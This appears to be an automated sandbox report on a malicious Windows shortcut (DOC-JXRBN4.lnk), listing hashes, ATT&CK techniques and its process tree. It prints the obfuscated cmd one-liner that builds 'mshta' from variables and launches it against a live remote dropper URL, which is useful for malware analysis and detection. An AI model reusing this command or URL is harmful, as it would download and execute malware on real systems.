c41b1c7fee0d0330dc6eddd0bc3f980efeec406807f37e5d027878e915709c74

Analysis

max time kernel
148s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:02

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General

Target
DOC-JXRBN4.lnk
Size 1KB
Sample260803-qaattazwhx
SHA256 c41b1c7fee0d0330dc6eddd0bc3f980efeec406807f37e5d027878e915709c74
MD5 a4b6fbfa374bf793bd9451ac69b62008
SHA1 2434c27bdf13c31bebb4f5c8dbf3b82ec70ea09a
SHA512 65e0befae633c8065f7bda4f584265484dd5896535a225e7f58b4987f120487eb54da2eec1b954de648c905dfbeeb7ecccafba8cc9d76e57f9d5d718e90d186c
TLSH
T1933176503FFD0668F3F39E7384BB5B1085BBB8A69F20CA1D4151464C1032A14E27AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2900	cmd.exe
4148	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2900 wrote to memory of 4148	2900	cmd.exe	90
PID 4148 wrote to memory of 2360	4148	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-JXRBN4.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2900
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set TPm=msh&&set brtP=ta&&start "" !TPm!!brtP! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:2360

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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